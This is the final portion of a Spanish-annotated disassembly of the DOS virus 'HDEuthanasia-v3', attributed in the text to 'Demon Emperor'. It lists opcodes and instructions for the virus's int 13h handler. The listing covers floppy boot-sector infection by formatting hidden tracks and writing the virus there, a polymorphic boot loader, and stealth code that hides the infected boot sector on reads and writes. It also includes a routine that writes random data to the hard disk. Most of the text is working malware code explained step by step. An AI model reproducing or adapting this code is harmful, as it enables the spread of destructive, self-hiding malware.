E8BDFC        CALL    18A5         Ω; Int 13h                             ∩0DA6:1BE8 8BD8          MOV     BX,AX        Ω; BX = AX                             ∩0DA6:1BEA 58            POP     AX           Ω; Saca AX original                    ∩0DA6:1BEB 8AC3          MOV     AL,BL        Ω; Pone en AL algo que no he llega-                                                 Ω; do a comprender (no es el código                                                  Ω; de error)                            ∩0DA6:1BED 5E            POP     SI           Ω; Saca registros del stack            ∩0DA6:1BEE 5F            POP     DI                                                  ∩0DA6:1BEF 1F            POP     DS                                                  ∩0DA6:1BF0 07            POP     ES                                                                                         Ω; Aquí desde :1BB9 cuando ha terminado       ∩0DA6:1BF1 5A            POP     DX           Ω; Saca registros del stack            ∩0DA6:1BF2 59            POP     CX                                                  ∩0DA6:1BF3 5B            POP     BX                                                  ∩0DA6:1BF4 E8D0FE        CALL    1AC7         Ω; Pone en el inicio de la int 13h                                                  Ω; una instrucción JMP FAR al ini-                                                   Ω; cio de la rutina de la int 13h                                                    Ω; del virus                            ∩0DA6:1BF7 CA0200        RETF    0002         Ω; Retorno de interrupción                                                                                                  ∩0DA6:1BFA E9A300        JMP     1CA0        Ω; Aquí llega por medio de otro sal-                                                Ω; to condicional para que no tenga                                                  Ω; que escribir tanto esta misma                                                     Ω; instrucción                                                                                                                                                            Ω; Aquí si en el tratamiento de la                                                   Ω; función 16h de la int 13h se ha                                                   Ω; detectado que se ha cambiado de                                                   Ω; disco                                 ∩0DA6:1BFD 50            PUSH    AX           Ω; Guarda todos los registros          ∩0DA6:1BFE 53            PUSH    BX                                                  ∩0DA6:1BFF 51            PUSH    CX                                                  ∩0DA6:1C00 52            PUSH    DX                                                  ∩0DA6:1C01 06            PUSH    ES                                                  ∩0DA6:1C02 1E            PUSH    DS                                                  ∩0DA6:1C03 56            PUSH    SI                                                  ∩0DA6:1C04 57            PUSH    DI                                                  ∩0DA6:1C05 33C0          XOR     AX,AX       Ω; DS = 0                               ∩0DA6:1C07 8ED8          MOV     DS,AX                                               ∩0DA6:1C09 32ED          XOR     CH,CH       Ω; CH = 0                               ∩0DA6:1C0B 8ACA          MOV     CL,DL       Ω; CL = DL, o sea, en CX el número                                                  Ω; de unidad                             ∩0DA6:1C0D FEC0          INC     AL          Ω; Incrementa AL (AL = 1)               ∩0DA6:1C0F D2E0          SHL     AL,CL       Ω; Multiplica AL por 2^(nº unidad).                                                 Ω; No será algo incongruente puesto                                                  Ω; que antes ha comprobado si DL                                                     Ω; era 80h o mayor, y como no era,                                                   Ω; DL ha de ser un número de unidad                                                  Ω; de diskette, o sea, 0, 1, o lo                                                    Ω; que sea.                              ∩0DA6:1C11 2E            CS:                 Ω; Comprueba si el byte en [1B16]       ∩0DA6:1C12 803E161B00    CMP     BYTE PTR [1B16],00 Ω; es 0                          ∩0DA6:1C17 7506          JNZ     1C1F        Ω; Si no es, salta                      ∩0DA6:1C19 84063F04      TEST    AL,[043F]   Ω; Averigua si el motor del diskette                                                Ω; n (el que haya sacado) está en                                                    Ω; marcha                                ∩0DA6:1C1D 75DB          JNZ     1BFA        Ω; Si el bit coincide, está en mar-                                                 Ω; cha, en cuyo caso salta                                                          Ω; Aquí llega entonces si el motor                                                   Ω; del diskette no está en marcha         ∩0DA6:1C1F 0E            PUSH    CS          Ω; DS = ES = CS                         ∩0DA6:1C20 1F            POP     DS                                                  ∩0DA6:1C21 1E            PUSH    DS                                                  ∩0DA6:1C22 07            POP     ES                                                  ∩0DA6:1C23 B104          MOV     CL,04       Ω; Pone el bit de AL en el nibble       ∩0DA6:1C25 D2E0          SHL     AL,CL       Ω; superior, pero en la misma posi-                                                 Ω; ción que en el inferior               ∩0DA6:1C27 A2151B        MOV     [1B15],AL   Ω; Lo mete en [1B15]                    ∩0DA6:1C2A BE0300        MOV     SI,0003     Ω; SI = 3                               ∩0DA6:1C2D 33C0          XOR     AX,AX       Ω; AX = 0                               ∩0DA6:1C2F E873FC        CALL    18A5        Ω; Int 13h                              ∩0DA6:1C32 B80102        MOV     AX,0201     Ω; Lee en :1E6A el BOOT de ese dis-     ∩0DA6:1C35 B90100        MOV     CX,0001     Ω; kette                                ∩0DA6:1C38 8AF5          MOV     DH,CH                                               ∩0DA6:1C3A BB6A1E        MOV     BX,1E6A                                             ∩0DA6:1C3D E865FC        CALL    18A5        Ω; Int 13h                              ∩0DA6:1C40 7305          JNB     1C47        Ω; Si no hay error, salta               ∩0DA6:1C42 4E            DEC     SI          Ω; Decrementa SI                        ∩0DA6:1C43 74B5          JZ      1BFA        Ω; Si es 0, salta                       ∩0DA6:1C45 EBE6          JMP     1C2D        Ω; Hace un LOOP utilizando SI como                                                  Ω; contador                                                                         Ω; Aquí desde :1C40 si no hay error                                                  Ω; en la lectura del BOOT                 ∩0DA6:1C47 A16C1F        MOV     AX,[1F6C]   Ω; Coge en AX el valor en el byte                                                   Ω; +102h del BOOT                        ∩0DA6:1C4A 2B066A1F      SUB     AX,[1F6A]   Ω; Le resta el valor en +100h           ∩0DA6:1C4E 3DFFCC        CMP     AX,CCFF     Ω; Mira si el resultado es CCFFh        ∩0DA6:1C51 74A7          JZ      1BFA        Ω; Si es, salta                         ∩0DA6:1C53 E82A01        CALL    1D80        Ω; Pone en CH un valor según un byte                                                Ω; leído en el BOOT. Si el byte +15h                                                 Ω; es FD, pone el valor 29h en CH.                                                   Ω; En otro caso, pone 51h.               ∩0DA6:1C56 E83501        CALL    1D8E        Ω; Formatea 15 nuevas pistas donde                                                  Ω; meterá el virus en el diskette        ∩0DA6:1C59 730D          JNB     1C68        Ω; Si no hay error, salta               ∩0DA6:1C5B B80104        MOV     AX,0401     Ω; Función de verificar sectores.       ∩0DA6:1C5E 33C9          XOR     CX,CX       Ω; Verifica los sectores que han da-    ∩0DA6:1C60 41            INC     CX          Ω; do error al formatear                ∩0DA6:1C61 8AF5          MOV     DH,CH       Ω;                                      ∩0DA6:1C63 E83FFC        CALL    18A5        Ω; Int 13h                              ∩0DA6:1C66 EB38          JMP     1CA0        Ω; Salta                                                                           Ω; Aquí desde :1C59 si no ha habido                                                  Ω; error                                  ∩0DA6:1C68 33DB          XOR     BX,BX       Ω; BX = 0, dirección de inicio del                                                  Ω; virus en memoria                      ∩0DA6:1C6A B101          MOV     CL,01       Ω; CL = 1 (primer sector)               ∩0DA6:1C6C B81003        MOV     AX,0310     Ω; Escribe 16 sectores a esa zona       ∩0DA6:1C6F E833FC        CALL    18A5        Ω; del disco (el virus mismo)           ∩0DA6:1C72 722C          JB      1CA0        Ω; Si hay error, salta                  ∩0DA6:1C74 BB6A1E        MOV     BX,1E6A     Ω; Copia el BOOT del diskette a con-    ∩0DA6:1C77 B111          MOV     CL,11       Ω; tinuación del virus                  ∩0DA6:1C79 B80103        MOV     AX,0301                                             ∩0DA6:1C7C E826FC        CALL    18A5                                                ∩0DA6:1C7F 721F          JB      1CA0        Ω; Si hay error, salta                  ∩0DA6:1C81 B302          MOV     BL,02       Ω; BL = 02, que le indica a la si-                                                  Ω; guiente función que se va a in-                                                   Ω; fectar el BOOT de un diskette         ∩0DA6:1C83 52            PUSH    DX          Ω; Guarda DX                            ∩0DA6:1C84 E8DBF7        CALL    1462        Ω; Llama a una rutina para polimor-                                                 Ω; fear una rutina de BOOT que tie-                                                  Ω; ne preparada y lista para escri-                                                  Ω; bir                                   ∩0DA6:1C87 5A            POP     DX          Ω; Saca DX                              ∩0DA6:1C88 B90100        MOV     CX,0001     Ω; Escribe en el BOOT de la unidad      ∩0DA6:1C8B 32F6          XOR     DH,DH       Ω; de diskette que se trate el nuevo    ∩0DA6:1C8D BB6A1E        MOV     BX,1E6A     Ω; BOOT hecho en :1E6A, pero antes      ∩0DA6:1C90 C6066A1EEB    MOV     BYTE PTR [1E6A],EB Ω; inserta en su inicio una      ∩0DA6:1C95 C6066B1E3C    MOV     BYTE PTR [1E6B],3C Ω; instrucción JMP NEAR :003C    ∩0DA6:1C9A B80103        MOV     AX,0301     Ω; La escribe al BOOT del diskette      ∩0DA6:1C9D E805FC        CALL    18A5                                                                                           Ω; Aquí llega cuando han habido erro-                                                Ω; res                                    ∩0DA6:1CA0 5F            POP     DI          Ω; Saca todos los registros del         ∩0DA6:1CA1 5E            POP     SI          Ω; stack                                ∩0DA6:1CA2 1F            POP     DS                                                  ∩0DA6:1CA3 07            POP     ES                                                  ∩0DA6:1CA4 5A            POP     DX                                                  ∩0DA6:1CA5 59            POP     CX                                                  ∩0DA6:1CA6 5B            POP     BX                                                  ∩0DA6:1CA7 58            POP     AX                                                  ∩0DA6:1CA8 2E            CS:                 Ω; Comprueba si el byte en [1B16]       ∩0DA6:1CA9 803E161B00    CMP     BYTE PTR [1B16],00 Ω; es 0                          ∩0DA6:1CAE 7403          JZ      1CB3        Ω; Si es, salta y continúa              ∩0DA6:1CB0 E977FE        JMP     1B2A        Ω; Salta y acaba                        ∩0DA6:1CB3 80FE00        CMP     DH,00       Ω; Comprueba si DH es 0                 ∩0DA6:1CB6 7517          JNZ     1CCF        Ω; Si no es, salta a :1CCF              ∩0DA6:1CB8 83F901        CMP     CX,+01      Ω; Comprueba si CX = 0001               ∩0DA6:1CBB 7512          JNZ     1CCF        Ω; Si no es, salta a :1CCF                                                         Ω; Aquí se llega si se intenta acce-                                                 Ω; der de alguna manera al BOOT del                                                  Ω; diskette                               ∩0DA6:1CBD 2E            CS:                 Ω; Comprueba si WINDOWS 95 está ac-     ∩0DA6:1CBE F6068C0104    TEST    BYTE PTR [018C],04 Ω; tivo                          ∩0DA6:1CC3 750A          JNZ     1CCF        Ω; Si no está, salta a :1CCF            ∩0DA6:1CC5 80FC02        CMP     AH,02       Ω; Comprueba si es la función de la                                                 Ω; int 13h de lectura                    ∩0DA6:1CC8 7408          JZ      1CD2        Ω; Si es, salta a :1CD2                 ∩0DA6:1CCA 80FC03        CMP     AH,03       Ω; Comprueba si es la función de es-                                                Ω; critura                               ∩0DA6:1CCD 7436          JZ      1D05        Ω; Si es, salta a :1D05                 ∩0DA6:1CCF E9B6FE        JMP     1B88        Ω; Salta y acaba                                                                   Ω; Aquí desde :1CC8 si AH = 02 (fun-                                                 Ω; ción de lectura de la int 13h)         ∩0DA6:1CD2 9D            POPF                Ω; Saca las banderas del stack          ∩0DA6:1CD3 E8CFFB        CALL    18A5        Ω; Efectúa la int 13h                   ∩0DA6:1CD6 9C            PUSHF               Ω; Guarda banderas y registros          ∩0DA6:1CD7 50            PUSH    AX                                                  ∩0DA6:1CD8 53            PUSH    BX                                                  ∩0DA6:1CD9 51            PUSH    CX                                                  ∩0DA6:1CDA 52            PUSH    DX                                                  ∩0DA6:1CDB 06            PUSH    ES                                                  ∩0DA6:1CDC 721B          JB      1CF9        Ω; Si hay error, salta (¿Y esto no                                                  Ω; lo podría haber puesto antes de                                                   Ω; guardar cosas en el stack?)           ∩0DA6:1CDE 26            ES:                 Ω; Coge en AX el valor en el BOOT       ∩0DA6:1CDF 8B870201      MOV     AX,[BX+0102] Ω; leído de la posición +102h          ∩0DA6:1CE3 26            ES:                 Ω; Le resta el valor en +100h           ∩0DA6:1CE4 2B870001      SUB     AX,[BX+0100]                                        ∩0DA6:1CE8 3DFFCC        CMP     AX,CCFF     Ω; Mira si el resultado es CCFFh        ∩0DA6:1CEB 750C          JNZ     1CF9        Ω; Si no es, el BOOT no está infec-                                                 Ω; tado, y por tanto acaba               ∩0DA6:1CED B551          MOV     CH,51       Ω; Lee donde tiene guardado el BOOT     ∩0DA6:1CEF B111          MOV     CL,11       Ω; original del disco y lo mete en      ∩0DA6:1CF1 B601          MOV     DH,01       Ω; el buffer de lectura del programa    ∩0DA6:1CF3 B80102        MOV     AX,0201     Ω; el BOOT original, de manera de       ∩0DA6:1CF6 E8ACFB        CALL    18A5        Ω; que para el programa será como                                                   Ω; si el BOOT no estuviera cambiado.     ∩0DA6:1CF9 07            POP     ES          Ω; Saca los registros del stack         ∩0DA6:1CFA 5A            POP     DX                                                  ∩0DA6:1CFB 59            POP     CX                                                  ∩0DA6:1CFC 5B            POP     BX                                                  ∩0DA6:1CFD 58            POP     AX                                                  ∩0DA6:1CFE E8C6FD        CALL    1AC7        Ω; Pone en el inicio de la int 13h                                                  Ω; una instrucción JMP FAR a la di-                                                  Ω; rección de entrada de la int en                                                   Ω; el virus                              ∩0DA6:1D01 9D            POPF                Ω; Saca las banderas                    ∩0DA6:1D02 CA0200        RETF    0002        Ω; Retorno de interrupción                                                         Ω; Aquí desde :1CCD si AH = 03 (fun-                                                 Ω; ción de escritura de la int 13h)       ∩0DA6:1D05 50            PUSH    AX          Ω; Guarda registros                     ∩0DA6:1D06 53            PUSH    BX                                                  ∩0DA6:1D07 06            PUSH    ES                                                  ∩0DA6:1D08 0E            PUSH    CS          Ω; ES = CS                              ∩0DA6:1D09 07            POP     ES                                                  ∩0DA6:1D0A B80102        MOV     AX,0201     Ω; Lee un sector de los que se quie-    ∩0DA6:1D0D BB6A1E        MOV     BX,1E6A     Ω; re leer en :1E6A                     ∩0DA6:1D10 E892FB        CALL    18A5        Ω; Int 13h                              ∩0DA6:1D13 07            POP     ES          Ω; Saca los registros del stack         ∩0DA6:1D14 5B            POP     BX                                                  ∩0DA6:1D15 58            POP     AX                                                  ∩0DA6:1D16 50            PUSH    AX          Ω; Vuelve a guardar AX                  ∩0DA6:1D17 FEC8          DEC     AL          Ω; Decrementa AL                        ∩0DA6:1D19 740F          JZ      1D2A        Ω; Si AL era 1, salta a :12DA           ∩0DA6:1D1B 81C30002      ADD     BX,0200     Ω; Suma 512 a BX                        ∩0DA6:1D1F FEC1          INC     CL          Ω; Lee el siguiente sector al BOOT      ∩0DA6:1D21 E881FB        CALL    18A5        Ω; y deja un hueco donde, en vez de                                                 Ω; leer el BOOT infectado, pondrá                                                    Ω; el BOOT original, de manera que                                                   Ω; al leer será como si estuviera                                                    Ω; como siempre                          ∩0DA6:1D24 81EB0002      SUB     BX,0200     Ω; Resta 200h a BX                      ∩0DA6:1D28 FEC9          DEC     CL          Ω; Decrementa CL                        ∩0DA6:1D2A 57            PUSH    DI          Ω; Guarda registros                     ∩0DA6:1D2B 56            PUSH    SI                                                  ∩0DA6:1D2C 1E            PUSH    DS                                                  ∩0DA6:1D2D 06            PUSH    ES                                                  ∩0DA6:1D2E 53            PUSH    BX                                                  ∩0DA6:1D2F 26            ES:                 Ω; Mira si el BOOT está infectado       ∩0DA6:1D30 8B850201      MOV     AX,[DI+0102] Ω; cogiendo el valor en +102h y        ∩0DA6:1D34 26            ES:                  Ω; restándole el valor en +100h. Si    ∩0DA6:1D35 2B850001      SUB     AX,[DI+0100] Ω; da CCFFh, entonces está infecta-    ∩0DA6:1D39 3DFFCC        CMP     AX,CCFF      Ω; do.                                 ∩0DA6:1D3C 7520          JNZ     1D5E         Ω; Salta a :1D5E y salta su función                                                 Ω; stealth si no está infectado         ∩0DA6:1D3E B551          MOV     CH,51        Ω; Escribe 1 sector en el lugar del    ∩0DA6:1D40 B111          MOV     CL,11        Ω; disco donde tiene guardado el       ∩0DA6:1D42 B601          MOV     DH,01        Ω; BOOT original. De esta manera,      ∩0DA6:1D44 B80103        MOV     AX,0301      Ω; cuando actúe su función stealth     ∩0DA6:1D47 E85BFB        CALL    18A5         Ω; será como si hubiera escrito eso                                                 Ω; al BOOT de verdad y no simulada-                                                  Ω; mente                                ∩0DA6:1D4A 06            PUSH    ES           Ω; DS = ES                             ∩0DA6:1D4B 1F            POP     DS                                                  ∩0DA6:1D4C 0E            PUSH    CS           Ω; ES = CS                             ∩0DA6:1D4D 07            POP     ES                                                  ∩0DA6:1D4E 8BF3          MOV     SI,BX        Ω; SI = BX                             ∩0DA6:1D50 83C603        ADD     SI,+03       Ω; Suma 3 a SI                         ∩0DA6:1D53 BF6D1E        MOV     DI,1E6D      Ω; Copia en :1E6D los nuevos pará-     ∩0DA6:1D56 B93B00        MOV     CX,003B      Ω; metros que el programa que está     ∩0DA6:1D59 F3            REPZ                 Ω; en ejecución quería poner en el     ∩0DA6:1D5A A4            MOVSB                Ω; nuevo BOOT                          ∩0DA6:1D5B BB6A1E        MOV     BX,1E6A      Ω; En BX la dirección del BOOT del                                                  Ω; virus, al que ha puesto ahora                                                     Ω; los nuevos valores de BOOT del                                                    Ω; diskette                                                                         Ω; Aquí desde :1D3C si el BOOT no                                                    Ω; está infectado                        ∩0DA6:1D5E B600          MOV     DH,00        Ω; Escribe 512 bytes desde BX al       ∩0DA6:1D60 B90100        MOV     CX,0001      Ω; sector 1, pista 0, cara 0. O        ∩0DA6:1D63 B80103        MOV     AX,0301      Ω; sea, el BOOT sector.                ∩0DA6:1D66 E83CFB        CALL    18A5                                                ∩0DA6:1D69 2E            CS:                  Ω; Guarda en [1B17] el error que       ∩0DA6:1D6A 8826171B      MOV     [1B17],AH    Ω; haya podido obtener                 ∩0DA6:1D6E 5B            POP     BX           Ω; Saca los registros del stack        ∩0DA6:1D6F 07            POP     ES                                                  ∩0DA6:1D70 1F            POP     DS                                                  ∩0DA6:1D71 5E            POP     SI                                                  ∩0DA6:1D72 5F            POP     DI                                                  ∩0DA6:1D73 58            POP     AX                                                  ∩0DA6:1D74 2E            CS:                  Ω; Pone en AH el error (si es que      ∩0DA6:1D75 8A26171B      MOV     AH,[1B17]    Ω; ha habido)                          ∩0DA6:1D79 E84BFD        CALL    1AC7         Ω; Inserta en el Entry-Point de la                                                  Ω; int 13h un JMP FAR al inicio de                                                   Ω; la rutina de la int 13h del vi-                                                   Ω; rus                                  ∩0DA6:1D7C 9D            POPF                 Ω; Saca banderas                       ∩0DA6:1D7D CA0200        RETF    0002         Ω; Retorno de interrupción                                                                                                  ε;;;; Rutina para poner unos valores en CH según un byte en el BOOT leído.                                                                                                ∩0DA6:1D80 A07F1E        MOV     AL,[1E7F]        Ω; En AL el byte en [1E7F] del                                                      Ω; BOOT (la posición +15h)          ∩0DA6:1D83 3CFD          CMP     AL,FD            Ω; Comprueba si es el valor FDh    ∩0DA6:1D85 7404          JZ      1D8B             Ω; Si es, salta                    ∩0DA6:1D87 B551          MOV     CH,51            Ω; CH = 51h                        ∩0DA6:1D89 EB02          JMP     1D8D             Ω; Salta a :1D8D                                                                   Ω; Aquí desde :1D85                  ∩0DA6:1D8B B529          MOV     CH,29            Ω; CH = 29h                        ∩0DA6:1D8D C3            RET                      Ω; Retorna                                                                                                              ε;;;;;; Rutina para formatear nuevas pistas en el diskette para meter el virus       ε;;;;;; y el BOOT antiguo del diskette                                                                                                                                    ∩0DA6:1D8E 8AF5          MOV     DH,CH            Ω; DH = CH pasado                  ∩0DA6:1D90 8816171B      MOV     [1B17],DL        Ω; Mete DL en [1B17] (la uni-                                                       Ω; dad)                             ∩0DA6:1D94 33C0          XOR     AX,AX            Ω; ES = 0                          ∩0DA6:1D96 8EC0          MOV     ES,AX                                               ∩0DA6:1D98 26            ES:                      Ω; Carga en ES:DI la dirección     ∩0DA6:1D99 C43E7800      LES     DI,[0078]        Ω; de la int 1Eh, que no es un                                                      Ω; vector de interrupción, sino                                                      Ω; el puntero a la tabla de pa-                                                      Ω; rámetros del diskette            ∩0DA6:1D9D 26            ES:                      Ω; Pone en AL los bytes por        ∩0DA6:1D9E 8B4503        MOV     AX,[DI+03]       Ω; sector, y en AH el número de                                                     Ω; sectores por pista               ∩0DA6:1DA1 50            PUSH    AX               Ω; Guarda AX en el stack           ∩0DA6:1DA2 26            ES:                      Ω; Pone que los sectores sean      ∩0DA6:1DA3 C6450302      MOV     BYTE PTR [DI+03],02 Ω; a 512 bytes por sector       ∩0DA6:1DA7 26            ES:                      Ω; Pone 17 sectores por pista      ∩0DA6:1DA8 C6450411      MOV     BYTE PTR [DI+04],11                                 ∩0DA6:1DAC 0E            PUSH    CS               Ω; ES = CS                         ∩0DA6:1DAD 07            POP     ES                                                  ∩0DA6:1DAE BF6A20        MOV     DI,206A          Ω; En DI la dirección donde va                                                      Ω; a construir una tabla de pa-                                                      Ω; rámetros para formateo           ∩0DA6:1DB1 FC            CLD                      Ω; Hacia delante                   ∩0DA6:1DB2 B91100        MOV     CX,0011          Ω; CX = 11                         ∩0DA6:1DB5 B201          MOV     DL,01            Ω; DL = 1, que irá incrementan-                                                     Ω; do en cada LOOP                  ∩0DA6:1DB7 B401          MOV     AH,01            Ω; AH = 01, que indica el núme-                                                     Ω; ro de página del sector a                                                         Ω; formatear                        ∩0DA6:1DB9 8AC6          MOV     AL,DH            Ω; En AL el sector que sacó an-                                                     Ω; tes gracias a la función en                                                       Ω; :1D80                            ∩0DA6:1DBB AB            STOSW                    Ω; Almacena esto                   ∩0DA6:1DBC 8AC2          MOV     AL,DL            Ω; AL = Número de sector, que                                                       Ω; va aumentando en cada LOOP                                                        Ω; (y empieza como 1)               ∩0DA6:1DBE B402          MOV     AH,02            Ω; El tamaño del sector a 512                                                       Ω; bytes (es lo que indica el                                                        Ω; nº02)                            ∩0DA6:1DC0 AB            STOSW                    Ω; Lo almacena                     ∩0DA6:1DC1 FEC2          INC     DL               Ω; Incrementa DL                   ∩0DA6:1DC3 E2F2          LOOP    1DB7             Ω; LOOP hasta :1DB7. Cuando                                                         Ω; acabe, habrá construido una                                                       Ω; tabla de información para                                                         Ω; formatear 17 nuevos sectores                                                      Ω; en un diskette, sitio donde                                                       Ω; guardará el virus en el dis-                                                      Ω; kette y el BOOT original.        ∩0DA6:1DC5 B80F05        MOV     AX,050F          Ω; AH = 05 (función de formateo                                                     Ω; de la int 13h)                                                                    Ω; AL = Formatea 15 sectores                                                         Ω; (¿y para qué construye una                                                        Ω; tabla de 17?)                    ∩0DA6:1DC8 8AEE          MOV     CH,DH            Ω; CH = 29h o 51h, según la                                                         Ω; función en :1D80, como núme-                                                      Ω; ro de pista                      ∩0DA6:1DCA B101          MOV     CL,01            Ω; Esto sobra                      ∩0DA6:1DCC B601          MOV     DH,01            Ω; En DH el número de la cara      ∩0DA6:1DCE 8A16171B      MOV     DL,[1B17]        Ω; En DL el número de unidad       ∩0DA6:1DD2 BB6A20        MOV     BX,206A          Ω; En BX la dirección de la                                                         Ω; tabla recién construida          ∩0DA6:1DD5 E8CDFA        CALL    18A5             Ω; Int 13h                         ∩0DA6:1DD8 9C            PUSHF                    Ω; Guarda las banderas             ∩0DA6:1DD9 882EFD1D      MOV     [1DFD],CH        Ω; Pone en [1DFD] el número de                                                      Ω; pista para ponerlo directa-                                                       Ω; mente en el MOV que hay allí     ∩0DA6:1DDD 33C0          XOR     AX,AX            Ω; ES = 0                          ∩0DA6:1DDF 8EC0          MOV     ES,AX                                               ∩0DA6:1DE1 26            ES:                      Ω; Carga de nuevo en ES:DI la      ∩0DA6:1DE2 C43E7800      LES     DI,[0078]        Ω; dirección de la tabla de                                                         Ω; parámetros del diskette          ∩0DA6:1DE6 9D            POPF                     Ω; Saca las banderas               ∩0DA6:1DE7 58            POP     AX               Ω; Saca AX del stack               ∩0DA6:1DE8 26            ES:                      Ω; Pone de nuevo los valores       ∩0DA6:1DE9 894503        MOV     [DI+03],AX       Ω; que tenía antes en esa zona                                                      Ω; de la tabla                      ∩0DA6:1DEC 0E            PUSH    CS               Ω; CS = ES                         ∩0DA6:1DED 07            POP     ES                                                  ∩0DA6:1DEE C3            RET                      Ω; Retorna                                                                                                              ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;       ε;;;;;;; Parte de BOOT para diskettes, que se copiará a partir del BOOT que ;;       ε;;;;;;; hay en :1409 hasta :141F                                           ;;       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                            ∩0DA6:1DEF BB500B        MOV     BX,0B50         Ω; ES = 0B50h                       ∩0DA6:1DF2 8EC3          MOV     ES,BX           Ω;                                  ∩0DA6:1DF4 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:1DF6 B80E1E        MOV     AX,1E0E         Ω; AX = 1E0Eh                       ∩0DA6:1DF9 06            PUSH    ES              Ω; Guarda ES y AX en el stack       ∩0DA6:1DFA 50            PUSH    AX                                                  ∩0DA6:1DFB B90151        MOV     CX,5101         Ω; Verifica la integridad de la     ∩0DA6:1DFE B81104        MOV     AX,0411         Ω; posición del diskette donde      ∩0DA6:1E01 BA0001        MOV     DX,0100         Ω; se encuentra el virus (pero      ∩0DA6:1E04 CD13          INT     13              Ω; después no comprueba si hay                                                      Ω; error o no. Debe de ser para                                                      Ω; despistar).                       ∩0DA6:1E06 B81102        MOV     AX,0211         Ω; Ahora sí que lo lee              ∩0DA6:1E09 CD13          INT     13                                                  ∩0DA6:1E0B 72E2          JB      1DEF            Ω; Si hay error, vuelve a empe-                                                     Ω; zar                               ∩0DA6:1E0D CB            RETF                    Ω; Salta al virus en memoria...                                                     Ω; ... aquí                          ∩0DA6:1E0E FB            STI                     Ω; Permite interrupciones           ∩0DA6:1E0F 33C0          XOR     AX,AX           Ω; ES = 0                           ∩0DA6:1E11 8EC0          MOV     ES,AX                                               ∩0DA6:1E13 0E            PUSH    CS              Ω; DS = CS                          ∩0DA6:1E14 1F            POP     DS                                                  ∩0DA6:1E15 FC            CLD                     Ω; Hacia delante                    ∩0DA6:1E16 BF007C        MOV     DI,7C00         Ω; Copia el BOOT original a la      ∩0DA6:1E19 BE0020        MOV     SI,2000         Ω; zona de memoria donde se me-     ∩0DA6:1E1C B90002        MOV     CX,0200         Ω; te el BOOT al arrancar           ∩0DA6:1E1F 06            PUSH    ES                                                  ∩0DA6:1E20 57            PUSH    DI                                                  ∩0DA6:1E21 F3            REPZ                                                        ∩0DA6:1E22 A4            MOVSB                                                       ∩0DA6:1E23 A28C01        MOV     [018C],AL       Ω; Pone [018C] a 0                  ∩0DA6:1E26 E8A7EA        CALL    08D0            Ω; Escribe una ristra de words                                                      Ω; aleatorios en el disco duro,                                                      Ω; en una pista no declarada.        ∩0DA6:1E29 E84DF5        CALL    1379            Ω; Infecta el sistema si éste                                                       Ω; no está infectado                 ∩0DA6:1E2C CB            RETF                    Ω; Salta al BOOT original                                                                                                ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Mensaje e identificador del virus                                    ;;;;;      ε;;;                                                                      ;;;;;      ε;;;    "HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...     ;;;;;      ε;;;                                                                      ;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:1E2D 224844        AND     CL,[BX+SI+44]                                       ∩0DA6:1E30 45            INC     BP                                                  ∩0DA6:1E31 7574          JNZ     1EA7                                                ∩0DA6:1E33 68            DB      68                                                  ∩0DA6:1E34 61            DB      61                                                  ∩0DA6:1E35 6E            DB      6E                                                  ∩0DA6:1E36 61            DB      61                                                  ∩0DA6:1E37 7369          JNB     1EA2                                                ∩0DA6:1E39 61            DB      61                                                  ∩0DA6:1E3A 2D7633        SUB     AX,3376                                             ∩0DA6:1E3D 2220          AND     AH,[BX+SI]                                          ∩0DA6:1E3F 62            DB      62                                                  ∩0DA6:1E40 7920          JNS     1E62                                                ∩0DA6:1E42 44            INC     SP                                                  ∩0DA6:1E43 65            DB      65                                                  ∩0DA6:1E44 6D            DB      6D                                                  ∩0DA6:1E45 6F            DB      6F                                                  ∩0DA6:1E46 6E            DB      6E                                                  ∩0DA6:1E47 20456D        AND     [DI+6D],AL                                          ∩0DA6:1E4A 7065          JO      1EB1                                                ∩0DA6:1E4C 726F          JB      1EBD                                                ∩0DA6:1E4E 723A          JB      1E8A                                                ∩0DA6:1E50 204861        AND     [BX+SI+61],CL                                       ∩0DA6:1E53 7265          JB      1EBA                                                ∩0DA6:1E55 204B72        AND     [BP+DI+72],CL                                       ∩0DA6:1E58 736E          JNB     1EC8                                                ∩0DA6:1E5A 61            DB      61                                                  ∩0DA6:1E5B 2C20          SUB     AL,20                                               ∩0DA6:1E5D 68            DB      68                                                  ∩0DA6:1E5E 61            DB      61                                                  ∩0DA6:1E5F 7265          JB      1EC6                                                ∩0DA6:1E61 2C20          SUB     AL,20                                               ∩0DA6:1E63 68            DB      68                                                  ∩0DA6:1E64 61            DB      61                                                  ∩0DA6:1E65 7265          JB      1ECC                                                ∩0DA6:1E67 2E            CS:                                                         ∩0DA6:1E68 2E            CS:                                                         ∩0DA6:1E69 2E            CS:                                                                                                                                              ε;;; y FIN                                                                           ε;;; ¡Por fin!